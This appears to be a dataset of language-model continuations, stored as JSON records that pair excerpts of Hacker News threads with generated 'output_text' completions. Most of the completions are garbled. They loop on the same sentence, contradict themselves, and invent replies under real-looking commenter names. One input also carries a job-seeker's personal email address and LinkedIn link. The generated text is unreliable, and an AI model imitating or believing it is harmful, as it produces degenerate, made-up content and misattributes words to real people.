as\ninferior and the fact that this contributor wields significant influence in a\ncommunity where (like many free software communities) gender is a problem.\n\nThis isn't very different than being anti-gay and being the lead of a big free\nsoftware project. Some people can pretend that their personal opinions have no\nimpact on their work, but that's very rarely the case. If there was more\ndiversity, this would probably be less of an issue.\n\n~~~\ntnones\nIt is both notable and unsurprising that the Drupal code of conduct [1] makes\nzero mention of any of the topics in this debate. Nothing about sexuality,\nnothing about feminism, or equality,... Yet every discussion about this\nimmediately turns to gender politics. I"} +{"output_text": "\u201d?\n\n~~~\nkick\nIt's not. It's a lot more work.\n\n~~~\nhtfu\nI don't think it's more work. I think it's the same work.\n\n~~~\nkick\nIt's not.\n\n~~~\nhtfu\nI don't think it's more work. I think it's the same work.\n\n------\njedberg\nI'm not sure if this is a good thing or not.\n\nI", "input_text": " emoji domains have existed since 2001\n[https://en.wikipedia.org/wiki/Emoji_domain](https://en.wikipedia.org/wiki/Emoji_domain)\n\n~~~\nWorldMaker\nAs with so many things domain name related, what is or is not valid varies by\nand is determined by registrar. The biggest registrars (.com,.net,.org as\nthree examples) generally have a lot of restrictions on IDNs, whereas many\ncountries can afford to allow just about the full gamut of Unicode if they\nwish.\n\n------\nnetsharc\nHmm, I wonder if that's going to be the next battle field for URLs: Facebook\nwill try to register its logo as an emoji, and you'd just need to go to\n[http://[f]](http://\\[f\\]) to open their site.\n\nThere already is an emoji for apple (the fruit, not the company). Oh the\nhorrors. I should start an emoji NIC!\n\n~~~\nmanifestsilence\nThese would be less than convenient to type, but perhaps as we go more and\nmore towards a non-typing web where a walled-garden start page and predefined\nlinks lead to the most popular sites with a click, these URLs will become\nfashionable. I think if so, this will herald the impending death of the human-\nread and typed URL in favor of start page links and search results.\n\n~~~\nkick\nThere are more mobile users than there are desktop users, and for them it's\njust the same to type.\n\n~~~\nhtfu\nHow is switch to emoji input -> press search box -> start typing apple ->\npress apple symbol and so on \u201cjust the same"} +{"output_text": "with-apple-to-develop-military-software-idUSKCN1QB0Z2)\n\n~~~\nbdcravens\nI'm not sure why this is being downvoted. It's not a secret that Apple is\nengaged in active development.\n\n~~~\nbdcravens\nI'm not sure why this is being downvoted. It's not a secret that Apple is\nengaged in active development.\n\n~~~\nb", "input_text": "the-CCP thing. I\ndon\u2019t think I\u2019ll be on iOS much longer, especially now that Signal is fully\ncross-platform and runs on iPad. I\u2019ve already deprecated iMessage amongst\neveryone I talk to in anticipation of the switch. Hell, I\u2019ve even been on\nbroadcast radio talking about how iCloud will leak your private data.\n\nI think it\u2019s a mistake to view the attitude of Apple toward military\ncontracting (not just sales) as the same as that of Microsoft or Amazon. If\nwhen Apple employs hundreds of people who are full-time embedded in the\nmilitary to help them use their products, maybe that situation will change.\n\nTo your point, I have moved off of GitHub, and have encouraged others to do\nthe same:\n\n[https://sneak.berlin/20200307/the-case-against-microsoft-\nand...](https://sneak.berlin/20200307/the-case-against-microsoft-and-github/)\n\nWe can all take small steps to improve our choices each day. Over time and\nacross people, these things add up.\n\nThe worst thing we could do is assume that every choice is the same and\ncarries the same negative consequences and act uncritically. In that vein, I\nappreciate your pushback: critical thinking about our choices should be the\none constant. There is always a place we can improve.\n\n~~~\nbdcravens\nApple has engaged in active development, not just passive sales\n\n[https://www.reuters.com/article/us-usa-defense-\ntech/pentagon...](https://www.reuters.com/article/us-usa-defense-\ntech/pentagon-teams-"} +{"output_text": " the record, I think Sony is a dick.\n\n~~~\nomouse\nI don't think Sony is a dick. I think Sony is a company that makes shitty\nproducts.\n\n~~~\nswaits\nI think Sony is a company that makes shitty products.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\n~~~\njevinskie\nIt's a DMCA notice.\n\n------\njev", "input_text": "ations vs. the attack on fair-use that HNers have come to expect when this\n4-letter word is invoked.\n\n------\njevinskie\nDoes anyone know what the tool was?[0] jimmikaelkael is a well known PS2 dev.\nI had checked out the DMCAed repo when he first put it up about a week ago but\nI can't recall it was.\n\n[0]: \n\n~~~\nmcbarry\nIt's a driver to provide filesystem access to PS2 memory cards, using the USB\nMemory Card Adaptor designed for the PS3.\n\nThere's another tool using this to make bootable memory cards for bypassing\nregion checks.\n\n------\nsenthilnayagam\nThe amount Sony spends on Lawyers it could have spent on real security(so many\nserver/network issues in last 2 months) and some path breaking products.\n\nAll my Sony money now goes to Apple.\n\n------\ntzury\nif you want to read it in more elegant format, there you go:\n[https://github.com/github/dmca/blob/master/2011-06-21-sony.m...](https://github.com/github/dmca/blob/master/2011-06-21-sony.markdown)\n\n------\nkeyle\nThe title doesn't quite make sense? \"Sony officially 50%...\"?\n\n~~~\nspicyj\n\"Sony [is now] officially 50% \u2026\" \u2013 The \"is now\" is implied.\n\n------\nomouse\nSony are dicks, this is news?\n\n~~~\nswaits\nFor"} +{"output_text": " to say\nthis is a killer feature.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu\nI'd pay for this.\n\n------\njoshu", "input_text": " Just because I am price sensitive doesn't mean others are (don't price\nit low on my comment). You also may have some lockin with this since you will\nhave their files so keep that in mind when pricing.\n\n------\nfirefoxman1\nI made something like this for my friend when I wanted to try out the\ndrag/drop API. One thing I also did was give him a little bookmarklet with his\nhashed password that he could drag into a \"login\" box so he could quickly log\nin without typing his username and password every time. You may want to try\nsomething like that for quicker logins.\n\nIt looked something like...\n\nhisusername:19fij12dio7giw3\n\n------\ndevs1010\nI generally am active about keeping my inbox clean so anything in there is\nimportant, if its not then I delete it as I prune it everytime I check so not\nsure this would really be all that useful but for some people it may be, if\nthey're too lazy to categorize / archive emails though I doubt they are going\nto want to use an extra app just for this.\n\n------\naaronbrethorst\nit doesn't seem to work for me in Safari 5.1.2. Does it require Flash? I very\nintentionally do not have Flash installed.\n\n~~~\ncode_duck\nI don't see any Flash. It seems to be implemented in javascript.\n\n------\ndustingetz\nkiller feature for me:\n\nscreen capture to clipboard, paste to hopper, and its already uploaded and\nshareable. i need this like 4 times a week. i would push to buy it at work if\nit was priced right and based on our existing google apps, so safe"} +{"output_text": " get a bonus, early adopters get a party).\n\n~~~\njoshu\nI think you're right.\n\n------\njoshu\nI'm not sure I understand the point of this.\n\nThe article says that the company is raising $16M. That's a lot of money.\n\nThe article says that the company is raising $75M. That's a lot of money.\n\nThe article says that the company is raising $75M from", "input_text": "12/06/jobs-act-title-\niii-crowdfunding-moves-closer-to-reality/))\n\nRegulation Crowdfunding will allow \"funding portals\"\n(kickstarter/indiegogo/etc) to facilitate equity based crowdfunding, with a\nlimit of up to $1,000,000.\n\nWe'll pretend that Oculus at $1mm KS has the same destiny as Oculus as a\n$2.4mm KS. [I think in an equity world, people would be less inclined to\ninvest after that wall is hit.]\n\nWe'll ALSO pretend (here's the bigger stretch) that the subsequent rounds of\nfinancing at $16mm and $75mm somehow magically didn't affect the equity of the\nseed round. [Hahaha, hilarious.]\n\nIf the KS had stated that the $1mm was to own 25% of the company (I bet\nhe'd've done more, but we'll go low) that means that each $300 backing is\nequivalent to %0.0003 of $1mm.\n\n%0.0003 of 25% equity is %.000075 of Oculus.\n\n%.000075 of 2 billion dollars is $150,000.\n\n[I think. %50 chance I mucked this math up at some point.]\n\n~~~\nbernardlunn\nI was only suggesting that the people who pony up the early cash get some\ntoken equity. Lets say give up 5% to enthusiastic early adopters who share\nyour passion rather than 25% to angels. If say the $300 netted you $3,000\nbonus on exit, you can have a party and celebrate the founder's good fortune.\nIts a win/win (founders"} +{"output_text": " of experience in a particular field\nwould be able to choose to skip the work sample and just go straight to the\ninterview.\n\n~~~\nthrowawaymath\nI'm not sure if this is the right place to ask this, but I'm curious:\n\nI've heard that companies are increasingly using work sample tests to screen\ncandidates. I'm curious if this is true, and if so, why?\n\n~~~\nthrowawaymath\nI'm not sure if", "input_text": "people who do WSTs as a way to qualify applicants, and there are people who\njust aren't serious about hiring.\n\nIt's easy to write a WST for simple things, like \"can you literally write a\ncomputer program that does this trivial straightforward thing\". It's hard to\nwrite WSTs for things that feel fluffy, like \"can you manage a team\". But\nhere's the thing: as long as that fluffy thing feels fluffy, what that really\nmeans is you haven't bothered to figure out what success looks like for that\nrole, and you couldn't even evaluate that person let alone hire for them.\n\nThere's a company in Indy called Woven\n([http://www.woventeams.com/](http://www.woventeams.com/)) that'll do it for\nyou, too. I have no relationship with them other than that they're nice people\nwho are trying to unfuck hiring.\n\n~~~\nthrowawaymath\nIt would be great if you could convince large tech companies to use work\nsample tests, but I just don't see that happening. So in that sense maybe work\nsample tests can be a differentiator attracting candidates that don't want to\nspend a few weeks doing Leetcode prep every time they look for a new job.\n\nOn the other hand work sample tests also have drawbacks. I don't know if\nthey're actually that much better than regular interviewing methods; I think\nthey just contribute an orthogonal signal instead of a stronger one. I don't\nfeel I can cheerlead them as much as you do in your first paragraph.\n\nI think in an ideal world companies would allow candidates the option of\nchoosing either their work sample or their resume-blind, standardized\ninterview gauntlet. People with a lot"} +{"output_text": "ensing\"\n\n------\njoshstrange\nI'm not sure I understand the point of this article. The article is basically\nsaying that the government should not be involved in regulating the\nindustry/businesses. I don't see how this is a problem. If you are a\ngovernment employee you are not allowed to work for a company that you are\nemployed by. If you are a company you are not allowed to hire people that are\nemployed by the government.", "input_text": " or\njust being hyberbolic?\n\n~~~\nuntog\nReasonably sure it is exaggeration for comic effect. We are not in a court\nroom.\n\n~~~\nmcguire\nBam! mdonahoe is overruled!\n\n------\ncoldcode\nBeing good at starting a company and raising funds is no guarantee of being\nany good at running a company. Add to that growth from 15 to 1600 in two years\nis also likely to be a massive failure. Add to that insane pressure from\ninvestors to do the impossible (that you promised). I've seen a lot of people\ncrumble at a much smaller size.\n\n------\nchillingeffect\nCome on now, NYT, there is virtually no evidence of corruption at startups\nbeing any worse than any other business or human endeavor. NYT, you're just\nspreading FUD because people look to you for guidance and you need to respond\nto their fear.\n\nYes, these guys (Zenefits) were, in one area, dishonest and cheated. But it's\nnot like Cigna, PacTel, BoA, Citizens and zillion other companies are paragons\nof virtue. Nevermind Volkswagen.\n\n[1]\n[https://en.wikipedia.org/wiki/Accounting_scandals](https://en.wikipedia.org/wiki/Accounting_scandals)\n\n[2]\n[https://en.wikipedia.org/wiki/List_of_corporate_collapses_an...](https://en.wikipedia.org/wiki/List_of_corporate_collapses_and_scandals)\n\n------\njmckib\nAlternative title: \"Zenefits Scandal Highlights Perils of Excessive\nOccupational Lic"} +{"output_text": " I've been working as a Security Engineer for a large\ntelecommunications company. I've been working with Linux and Windows for the\nlast 10 years, and have been working with Cisco and Arista equipment for the\nlast 5 years. I've been working with Kali for the last year. I've been\ndeveloping and maintaining security tools for the last 5 years.\n\nI'm looking for a new challenge, and am open to working in a variety of\nenvironments.\n", "input_text": "balance, providing part-time consulting to several companies. I'm ready to\nswitch back to working on a single thing, preferably still part time. I\nprioritize good people and flexibility over most other things.\n\n------\nbussierem\nLocation: Midwest USA\n\nRemote: Yes\n\nWilling to relocate: Not at this time, unfortunately\n\nTechnologies: Python, Elm, Nim, C#, Elixir, and JS; I can learn anything I\nneed to for a job.\n\nR\u00e9sum\u00e9/CV: [https://me.3digit.dev](https://me.3digit.dev)\n\nEmail: In my resume ^^^\n\nI am an experienced dev, and have worked across the entire stack, including\nQA/testing. I have a love of quality code and good communication, having\nexperienced the bad end of both. I would be looking to make changes for the\nbetter wherever I go, preferably to Senior Engineer or higher. Looking to stay\nin code as much as possible, but I would be willing to consider leadership\ngiven the right situation.\n\n------\nsnowedin\nLocation: Seattle, WA\n\nRemote: Yes\n\nWilling to relocate: No\n\nTechnologies: Linux, Windows, Python, Cisco, Arista, Namespaces, Docker, Kali,\nMetasploit\n\nR\u00e9sum\u00e9/CV: [https://www.linkedin.com/in/ross-\nsnider-b927b846/](https://www.linkedin.com/in/ross-snider-b927b846/)\n\nEmail: ross.snider@gmail.com\n\n9 years industry experience in Security, much more if you count non-employed\nsecurity work.\n\nMost recently"} +{"output_text": " the luxury of spending money on hardware.\n\n~~~\njoshuamorton\nI think the point is that the cost of hardware is not the only cost.\n\n~~~\nagnivade\nI agree. But I think the point is that the cost of hardware is not the only\ncost.\n\n------\njoshuamorton\nI think the point is that the cost of hardware is not the only cost.\n\n------\njoshuamorton\nI", "input_text": " cloud and your metric is\n$/user/year and you have many users then saving some compute resources for\neach user gets attractive and you don't want to just throw another VM at it.\n\nIs the conclusion true? Garbage collection gives big productivity gains. Other\nlanguages have GC. It's not nice to see your Python code die after a few days\nbecause you messed up the type passed to a function. Other languages fix that\nat compile time. Multicore is now. Other languages are built with better\nmulticore awareness.\n\n------\n__s\n> without getting stuck in the weeds of the small things such as whether you\n> should use a vector or an array\n\nYes, instead get into the weeds of tuple vs list\n\nNot included in the graph of time-to-solve-problem static languages:\nstatically typed languages with type inference\n\n~~~\nscbrg\nGiven that they have exactly the same interface, that choice is really easy.\nYou go with one until it turns out to be insufficient, and then you switch to\nthe other and _not a single line of code_ has to change, except at the point\nwhere you create the thing.\n\nIncidentally, the same is true in many situations in Python, and that is (IMO)\none of its strengths.\n\n------\nagnivade\n> However, this is no longer true, as silicon is now cheap. Like really cheap.\n> Run time is no longer your most expensive resource.\n\nOur client won't spend more money than a t2.medium instance on aws. Nothing we\ncan do about it. In that case, run time does become an expensive resource.\n\nBut I get the point that OP is trying to make. Just wanted to mention that not\nall of us have"} +{"output_text": " ads to support them.\n\n~~~\njoeblau\nI think you're right. I think the bait and switch is that you never really\nknew what you were getting. I think the bait and switch is that you never\nreally knew what you were getting.\n\n------\njoeblau\nI think the bait and switch is that you never really knew what you were\ngetting.\n\n------\njoeblau\nI think the bait and switch is", "input_text": " and really\nfocussed on getting those page owners to buy ads to maintain their previous\nview numbers.\n\nMaybe page owners are paying for now, potentially reliant on traffic, but I\ndon't think they're going to be happy paying forever when free alternatives\nwill crop up again. The traffic quality is reported as being low (many mis-\nclicks on mobile). If the profit isn't there then business won't be able to\nafford to pay in the long run.\n\nMaybe I don't want to see posts for 'Jim's oil change' every three seconds,\nbut good content is getting cut away also making FB far more boring.\n\n~~~\nSilhouette\nI don't know if I'd call it a bait and switch, because you never really knew\nexactly what you were getting with Facebook anyway. The kind of auction system\nthey use is practically designed to avoid transparency (and they're obviously\nnot alone in that among on-line ad platforms).\n\nIt always comes down to the numbers, though. If we're advertising a small\nbusiness on Facebook, and it generates more in revenues from sales than it\ncosts in customer acquisition, it's still a net win. Is it the best place we\ncould have invested those advertising funds? Maybe, maybe not, but it\ncertainly becomes less attractive as their cost-per-whatever figures go up,\nand no matter how much they fudge the presentation, we still know how much we\npaid overall and how much revenue we got in return.\n\nIn any case, every time this comes up there are plenty of posters who have\nsmall businesses and make the above argument, but generate revenues in the\n100-200% bracket, i.e., they're at least breaking even and maybe doubling\ntheir investment, but no-one's buying"} +{"output_text": " all my equipment.\n\n~~~\nfreediver\nI am glad to hear that. I am not sure if I would be able to handle it.\n\n------\njoshu\nI'm not sure if this is a good thing or not.\n\nI think the best thing about MUDs is that they are a great way to learn\nprogramming.\n\nI think the worst thing about MUDs is that they are a great way to learn\nprogramming.\n", "input_text": "gizmo686\n\"Treason against the United States, shall consist only in levying war against\nthem, or in adhering to their enemies, giving them aid and comfort. No person\nshall be convicted of treason unless on the testimony of two witnesses to the\nsame overt act, or on confession in open court.\"\n\n~~~\nmzw_mzw\n> or in adhering to their enemies, giving them aid and comfort.\n\nYep, there we go. Thanks!\n\n------\nmrottenkolber\n:-(\n\n \nDikuMUD 3 Is Released - bovermyer\nhttps://github.com/Seifert69/DikuMUD3\n======\nfreediver\nI am thankful to Diku and it's derivatives for many important lessons in life.\nThe situation when a mob kills you, takes your exp and all your equipment and\nyou are faced with dire reality of starting all over again from nothing - is\nthe one that we are facing in life ever so often. MUDs have taught me to\npersevere, focus on what is important and keep going. I am thankful for every\nfriend I met via MUD and every friend I will make. As a matter of a fact I am\nin the middle of MUD renaissance right now - rebuilding the MUD I created in\n1995 and playing it with a handful of buddies - all of us now in our forties\nand we are having the time of our lives chasing down mobs and magic items (and\nof course playing only after the kids go to sleep). On top of that I get to\ncode in C again. Life is good. Wish the best of luck to DikuMUD 3.\n\n~~~\nYZF\nLuckily I've yet to face mob kills me and takes"} +{"output_text": "I'm not a JS developer, but I'm a web developer, and I'm not a web\ndeveloper, but I'm a web developer, and I'm not a web developer, but I'm a\nweb developer, and I'm not a web developer, but I'm a web developer, and I'm\nnot a web developer, but I'm a web developer, and I'm not a web developer, but\nI'm a web developer, and I'm not a web developer", "input_text": " the appropriate error. You shouldn't be kneck-deep in callbacks.\n\n------\nspriggan3\nThe biggest problem is dealing with callbacks (and yes even promises use\ncallbacks, and generators need to be wrapped in a cor-routine framework in\norder to work as cor-routines ).\n\nI want to write a quick script doing some busy work, I now have to think\nabout synchronicity even though the script does not need to be non blocking.\nOf course in these circumstances, I want to move back to Ruby or Python, which\nactually let me code the thing I want to code without forcing callbacks on me.\n\nSo when you have to do 20 i/o operations in sequence, using nodejs becomes\nreally tedious.\n\n------\njtchang\nNode is one of those platforms that makes me shudder every time I go looking\nfor solid best practices. It seems to change every 3 months. It's scary (and\ncool) how fast things are changing.\n\n------\npeterashford\nI think the basic problem is that JS is not the right solution for every task\nbut for the web, it's often the only tool available.\n\nI had similar experiences to the OP. I had lots of code written in JS that I\nwas happy with to some extent, but all of it would have been easier / cleaner\n/ more maintainable in a less crap language.\n\n------\narisAlexis\nUsing babel without async await is a mistake IMO should solve almost all your\nproblems and errors. Also the main argument for using js in the back end is\nthat you have the same team working in the front-end too and in any case in\nthe same langage.\n\n------\nthrowanem\ntl;dr: \""} +{"output_text": ".\n\n~~~\njasonkester\n_Imagine this scenario: developer A has been working in a time span of 10\nyears without r\u00e9sum\u00e9 gaps. Developer B has been working for 9 years and has\nbeen taking gaps of 4 months every 3 years. Do you really think there is going\nto be a big difference between the two developers in terms of skills set?_\n\nI think there is a big difference.\n\nA developer who has been working for 10 years and", "input_text": " move and be able to take my time choosing a new position. Thanks!\n======\nenrmarc\nSerious question: what's the problem with r\u00e9sum\u00e9 gaps? Is it a big deal in\nUSA? I'd say that in Europe it's not such a big deal. Nobody is going to ask\nyou why you have, for instance, a 4 month gap in your r\u00e9sum\u00e9 if you have been\nworking 3 or 4 years in a row. Almost everyone would guess that you took that\ntime off, and that's not a bad thing precisely. Perhaps you took that time to\nlearn new skills, to read a ton of books, to travel around the world, to be\nwith your kids,... a lot of activities that do more good than harm. Most of us\nare going to work until we are 60 or so, so what's the big deal with having a\nfew months every 5 years or so in our r\u00e9sum\u00e9? They give you a medal if you\nfinish your career without gaps?\n\nImagine this scenario: developer A has been working in a time span of 10 years\nwithout r\u00e9sum\u00e9 gaps. Developer B has been working for 9 years and has been\ntaking gaps of 4 months every 3 years. Do you really think there is going to\nbe a big difference between the two developers in terms of skills set? 10, 9,\n8 years, it doesn't make a difference at all in terms of accumulated\nknowledge. But developer B has been doing \"something else\" during a whole year\n(3 gaps of 4months each). Maybe he travelled the world and learned a little\nbit of a couple of languages, and I'd say that's a valuable non-technical\nskill to have.\n\nAs I've said, I see more good than harm in taking a few month off from time to\ntime"} +{"output_text": " of mine was pulled over in\nAustralia and asked for his passport. He was a US citizen and had a valid\nvisa. He was asked to show his passport and was told he was not allowed to\nleave the car. He was then asked to get out of the car and was frisked. He was\nthen asked to show his passport again. He was then told he was not allowed to\nleave the country. He was then asked to get out of the car and was", "input_text": "'t search\nyour car without a warrant, whether you're a US citizen or just a tourist.\n\n~~~\ndkokelley\nThis is true, but I would argue that it's only true because of the assumption\nthat random driver being pulled over is a citizen (or rather that you can't\nask a citizen if he or she is a citizen. This was part of the big deal with\nArizona's new laws a year or two ago).\n\nWhen writing my post, I was considering the \"unlimited detainment\", and lack\nof due process for non-citizens in too many special cases.\n\n------\ntlear\nWas coming back from NYC (vacation over Christmas) and got the typical BS\nbully treatment by the security guy, I made a decision there, I will not go on\nvacation to US ever again.\n\n------\ntinbad\nAs a non-US citizen, I've had similar experiences where I was taken apart and\nasked some more questions by border patrol. However none of those experiences,\nalthough very similar to yours, came over as unnecessary harassment. I don't\nquiet understand why you would be 'terrified' crossing the border if you have\nall your shit together, which it seems you have.\n\nThe people \"whose educational attainments have qualified them to sit behind a\ndesk stamping passports\" were simply doing their job and from what you\ndescribed they did it without causing more inconvenience for you than\nnecessary.\n\nLike some others commented, if you don't like to abide by the rules of your\nnew country of residence, nobody is forcing you to be there. Oh, and\ndownplaying other people's intellectual abilities does come across quiet\nsnobbish :)\n\n------\ntrimbo\nThis story is true the world over. A friend"} +{"output_text": " more maintainable, more testable, and more robust.\n\n~~~\njoshuamorton\n> This is good design.\n\nI don't think it is.\n\n> The problem here is likely that IO is tightly integrated with Player and\n> every other module as a dependency. This is what can cause the bug to occur.\n\nI don't think that's the case. The bug is that the player module is\nimplementing a function that is dependent", "input_text": " phone numbers change)? Also I believe Skype does allow changing usernames.\n\n~~~\nzaphirplane\nHotmail Gmail Seriously why can\u2019t people change their email and keep the\nmailbox. It\u2019s not uncommon to pick a cute or funny email when you are a teen\nand want To change when you\u2019ve all grown up\n\n~~~\nim3w1l\nWith an imap client you should be able to download emails from the old\naccounts and upload them on the new one.\n\n------\ncrimsonalucard\nThis bug is a design smell.\n\nThey have a \"Player\" module that can likely be controlled by a human or by an\n\"AI\" module. This is good design.\n\nThe problem here is likely that IO is tightly integrated with Player and every\nother module as a dependency. This is what can cause the bug to occur.\n\nProper design is for the \"Player\" module to never depend on IO as a\ndependency...\n\n1\\. the player module should be able to output the next gamestate of a game\ngiven the action and previous gamestate.\n\n2\\. The AI should calculate the action when given a gamestate.\n\n3\\. IO should be a function that when given gamestate, it displays it on the\nscreen, or saves it to the DB.\n\n4\\. All modules should be unaware of the other modules.\n\nNo dependencies.\n\nLikely the fix that the poster is doing doesn't involve separating the\n\"Player\" module from all knowledge of IO, but the fix he is doing is making AI\na special case in the \"Player\" module. This speaks to all kinds of wrong.\n\nFollowing these design patterns over a long period of time leads to code that\nis"} +{"output_text": " technical leadership.\n\nWe are looking for a full stack developer to join our team. You will be\nresponsible for developing and maintaining our web applications, APIs, and\ninfrastructure. You will be working with a small team of developers and\ndesigners to build and maintain our web applications.\n\nWe are looking for someone who is passionate about technology, has a strong\nunderstanding of web development, and is excited to work on a variety of\ntechnologies.\n\nWe are", "input_text": "! At Trafficly we are building the future of\ntraffic-analytics software.. Currently building in Rails 5 and ES6, but plan\non bringing in Phoenix/Elixir soon enough(microservice-oriented). Come build\nthe next great thing where creativity is rewarded and realized daily! Feel\nfree to reach out to me(Mark) with any questions at: developer@traffic.ly\nThanks for your time!\n\n*indicates_optionally_preferred\n\n------\nthebrain\nToronto, Ontario, Canada | Achievers\n[http://www.achievers.com](http://www.achievers.com) | ONSITE | Developers\n\nMy company has built a kick-ass employee recognition platform and we're\nlooking for developers of all shapes and sizes. Please don't apply if you're a\njerk though, we don't hire assholes.\n\nHe are some of our current requisitions:\n\nAccounting Support\n\nLead Developer, Automation Test\n\nSenior Software Developer\n\nSenior Technical Consultant\n\nSoftware Development Lead\n\nSr. Android Mobile Developer\n\nFull details at\n[http://app.jobvite.com/m?3DeWniwX](http://app.jobvite.com/m?3DeWniwX)\n\n------\nvoidness\nAvant | Full Stack Developer | Chicago | Full-time, ONSITE |\n[https://www.avant.com/jobs](https://www.avant.com/jobs)\n\nAt Avant, we are revolutionizing the world of lending by lowering the costs\nand barriers of borrowing for everyday people. We are growing our tech team\nand are seeking pragmatic programmers who will not only help execute, but also\nprovide"} +{"output_text": " was a trailer. He had a big trailer, but it was a trailer.\n\nI\u2019ve been living in a trailer for the past two years. I\u2019ve been living in a\ntrailer for the past two years. I\u2019ve been living in a trailer for the past two\nyears. I\u2019ve been living in a trailer for the past two years. I\u2019ve been living\nin a trailer for the past two years. I\u2019ve been living in a trailer", "input_text": " emoji-scale 1-5, how exactly do you define that scale? Do you give\nfeedback on a per-person basis or company wide? Say I have a team of 3\nengineers, all with \"Senior\" title however I expect one to naturally\noutperform the other two.\n\nThis quarter s/he's slacked a bit, maybe s/he's not as driven or it's\nsomething personal - but s/he's still performing just as well as the other two\nengineers who've both performed exceptionally well and I'm giving them both a\n5.\n\nDo I give the engineer I expected to do better a 5? Or a 4? I mean I expected\nthem to do better but I'm still really happy with their work.\n\n------\npatothon\nI use www.oneone.io.\n\nBoth to manage my one on ones and to gather feedback from the team.\n\n \n\n\"Living in a Trailer\u201d by James Jones \u2013 July 1952 - Mz\nhttp://holidaymag.wordpress.com/2012/01/11/living-in-a-trailer-by-james-jones-july-1952/\n\n======\nMz\nIt seems nomads have been around forever. Being a digital nomad just has\nbenefits in terms of portability.\n\nExcerpt:\n\n _One of the things about writing that lends itself to trailer living is this\nfact of being your own boss and able to work as well one place as another, and\nin addition, requiring very little equipment to carry with you. I knew one man\nin Florida who had the front half of his trailer fitted up as a machine shop\nwith lathes and drill presses and carried his business with him. He had a big\ntrailer, but it"} +{"output_text": " picture.\n\n~~~\njoe_the_user\n_I predict the largest PR campaign in the history of technology. Public\nopinion generally drives regulation._\n\nI think you're right about the PR campaign. But I think the PR campaign will\nbe a lot more than just a PR campaign.\n\nI think the PR campaign will be a lot more than just a PR campaign because\nthere's a lot of money to be made in the driverless car business.\n\n", "input_text": "' can happen.\n\n(2) It is very expensive to create bug-free software.\n\n(3) You can't iterate by failing fast on life-critical systems after it is\nreleased. Failure means killing someone.\n\n(4) Legal liabilities. It's not going to work to say something like, \"This\ncar's driver software is not warranted free from defects\".\n\n(5) Humans can manage situations utterly outside the norm; algorithms can not\nsee beyond the vision of the designer.\n\nI work in an industry which operates _below_ the levels of software assurance\nthat the medical/flight industries work at, and it is incredibly painstaking\nas it is. A fully automated car will be very expensive to build.\n\nI am not a paranoiac regarding software. I am a paranoiac regarding software\nbugs and the limits of the software designers.\n\n------\nblue1\nI suspect that this kind of \"risky\" technology will be deployed first in more\nadventurous countries, like China.\n\n------\nuuilly\nRegulation and fear are to be expected. The question is, what to do about\nthem? I predict the largest PR campaign in the history of technology. Public\nopinion generally drives regulation. So less public fear will lead to less\nregulation.\n\nWhile I have no way to prove it, I'd bet my right hand that Google's PR people\nmade this story happen. I'd bet they also made the first NYT piece blowing up\nthe Chauffeur project happen and they made it look serendipitous for\nauthenticity. I think \"The Suit is Back,\" and I think it's going to come back\nagain and again.\n\nPrediction: Driverless cars will be portrayed in a very positive way in a\nmajor motion"} +{"output_text": "_is_a_woman/)\n.\n\nIt's not a perfect simulation, but it's a good one.\n\n~~~\njames_s_tayler\nI've been playing with this for a while. I'm not sure if it's a bug or not,\nbut it seems to be a problem with the way the model is trained.\n\nI've been trying to train a model to generate a bunch of different\nconversations. I've been", "input_text": "market. Programmers live at the edge of this grasping power and know the\nhorror of not being able to take it all in at once, and it's so easy to get\ninto such a situation.\n\nIt is possible that there is no general intelligence anywhere. It's always an\nintelligence of a specific environment, solving specific types of problems. A\ngeneral intelligence would need a much more varied and challenging environment\nin order to reach that level of intelligence.\n\nThe more complex the environment, the higher the intelligence of its agents.\nSo there is always going to be an upper limit to intelligence, and the\nenvironment has a lot to do with it. No intelligence is truly general.\n\n~~~\ncoldtea\n> _In order for an intelligence to be called general it would be necessary to\n> be effective in all situations._\n\nSo, basically, the author made a contrived definition of their own, and hand-\nwaved about how humans don't meet it...\n\n------\njerf\nIf you'd like to innoculate yourself, and have a bit of fun in the meantime,\nconsider reading\n[https://www.reddit.com/r/SubSimulatorGPT2/](https://www.reddit.com/r/SubSimulatorGPT2/)\n.\n\nIt's not just for fun, you can get a good sense of the algorithm. One of the\nthings it is somewhat prone to is some weird looping, like this:\n[https://www.reddit.com/r/SubSimulatorGPT2/comments/d1nwdg/if...](https://www.reddit.com/r/SubSimulatorGPT2/comments/d1nwdg/if_the_president_of_the_united_states"} +{"output_text": ",\nwe have a bunch of different DEs that are all pretty much the same.\n\n~~~\nogre_codes\n> _The only bug I 've experienced that's close to being serious is the touchbar\n> freezing(seriously wtf)._\n\nI've had a few issues with the touchbar freezing, but I've never had it\ncompletely lock up. I've had it lock up and I had to force quit.\n\nI've also had", "input_text": "'t know about moving to the web on #2. From what I have seen the web\nalternatives of those products, if they even exist, are tailored to the\nhobbyist, semi-professional market.\n\nThings like Siemens NX _can't_ move to the web, since we are talking about\nentire development platforms, not just applications.\n\n~~~\nlallysingh\nI was thinking about OnShape cad, Mathematica, and Matlab. Pretty major ones.\n\n------\nogre_codes\nApple hasn't done a great job of supporting MacOS over the past few years.\nCatalina in particular has been a bit rocky, but every time I look seriously\nat Windows as an alternative it falls short.\n\nIt's quite sad to me that my choice of OS has essentially boiled down to\n\"Sucks less, costs more\".\n\nIt's been a few years for me, but maybe time to start seriously looking at\nLinux on the desktop again.\n\n~~~\nravenstine\nI don't see how Apple hasn't done the best job in terms of operating systems.\nmacOS hasn't changed significantly in the last decade; it's essentially the\nsame interface, but less skeumorphism. The only bug I've experienced that's\nclose to being serious is the touchbar freezing(seriously wtf).\n\nWindows, on the other hand, has changed significantly. Sure, it runs 32-bit\nprograms, but the interface difference between 7 and 10 is ginormous.\n\nLinux, as much as I love it, is probably the worst offender. At one point we\nhad GNOME and KDE as dominant desktop environments, and then we had Unity,\nGNOME 3, Cinnamon, MATE, etc. Now after years of forcing Unity on everyone"} +{"output_text": "\nserver is encrypted.\n\n~~~\nsleepychu\nI'm not sure I understand what you mean.\n\n~~~\npfg\nWhatsApp Web communicates with your phone over HTTPS. The communication is\nencrypted, but the session is not.\n\n~~~\nsleepychu\nI'm not sure I understand what you mean.\n\n~~~\npfg\nWhatsApp Web communicates with your phone over HTTPS. The communication is\nencrypted", "input_text": "\n\n~~~\nkasey_junk\nThey implemented a known & vetted encryption protocol with expert consultation\nfrom the outside.\n\nIts one of the most widely distributed 